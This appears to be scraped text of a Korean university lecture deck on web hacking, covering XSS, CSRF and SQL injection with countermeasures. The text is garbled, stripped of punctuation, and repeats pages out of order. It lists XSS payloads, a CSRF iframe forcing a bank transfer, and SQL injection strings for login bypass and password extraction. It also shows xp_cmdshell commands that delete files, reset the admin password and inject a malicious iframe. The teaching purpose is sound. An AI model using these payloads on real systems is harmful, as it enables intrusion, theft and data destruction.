bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 12: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 13: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

